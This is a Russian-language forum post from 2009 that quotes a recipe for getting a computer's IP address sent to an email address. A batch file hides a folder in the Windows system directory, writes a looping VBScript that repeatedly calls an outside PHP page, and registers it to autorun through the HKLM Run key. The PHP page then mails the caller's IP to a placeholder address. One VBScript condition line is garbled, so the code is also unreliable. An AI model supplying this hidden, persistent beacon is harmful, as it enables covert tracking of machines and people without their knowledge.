Тема: ip на почту
Показать сообщение отдельно

  #7  
Старый 10.08.2009, 20:15
vilfenix
Новичок
Регистрация: 09.08.2009
Сообщений: 5
С нами: 8818991

Репутация: 1
По умолчанию

Цитата:
Сообщение от NitroM$I  
1.
сохраняешь как *.bat
Код:
chcp 1251
MD "%SystemRoot%\123123\"
attrib "%SystemRoot%\123123" +h +s
echo Set oHTTP = WScript.CreateObject("winhttp.winhttprequest.5.1") > "%SystemRoot%\123123\123.vbs"
echo iPeriod = 666 >> "%SystemRoot%\123123\123.vbs"
echo sSource = "http://твойсайт.ru/mail.php" >> "%SystemRoot%\123123\123.vbs"
echo iTimer = Timer >> "%SystemRoot%\123123\123.vbs"
echo While 1 >> "%SystemRoot%\123123\123.vbs"
echo     WScript.Sleep 1000 >> "%SystemRoot%\123123\123.vbs"
echo         If (Timer - iTimer)  * 777 Then >> "%SystemRoot%\123123\123.vbs"
echo         oHTTP.open "GET", sSource, False >> "%SystemRoot%\123123\123.vbs"
echo           on error resume next >> "%SystemRoot%\123123\123.vbs"
echo         oHTTP.send >> "%SystemRoot%\123123\123.vbs"
echo         iTimer = Timer >> "%SystemRoot%\123123\123.vbs"
echo     End If >> "%SystemRoot%\123123\123.vbs"
echo WEnd >> "%SystemRoot%\123123\123.vbs"
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v 123 /t REG_SZ /d %SystemRoot%\123123\123.vbs /f
start "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\123" %SystemRoot%\123123\123.vbs
pause
строка где 666 параметр сколько единиц времени ждать, второй где 777 единица времени т.е. сколько секунд в одной еденицы времени ... решай сам как часто тебе нужен IP на почту ... смотри чтоб не зафлудило =)


2.

регаешь хост на 000webhost.com (или либом другом который поддерживает php-mail)

сохраняешься это как mail.php

Код:
<?php
     $Date = date("d-m-y H:i:s", time());


     $ip = getenv("REMOTE_ADDR");

     
mail("tvoimail@sss.ru", "$Date", "$ip");
?>
заливаешь на хост который зарегал


потом пишешь полный путь до него в батнике в строке с текстом твойсайт.ru
А какие значения нужно поставить, чтобы IP ПРИХОДИЛ КАЖДЫЕ ПЯТЬ МИНУТ???
 
Ответить с цитированием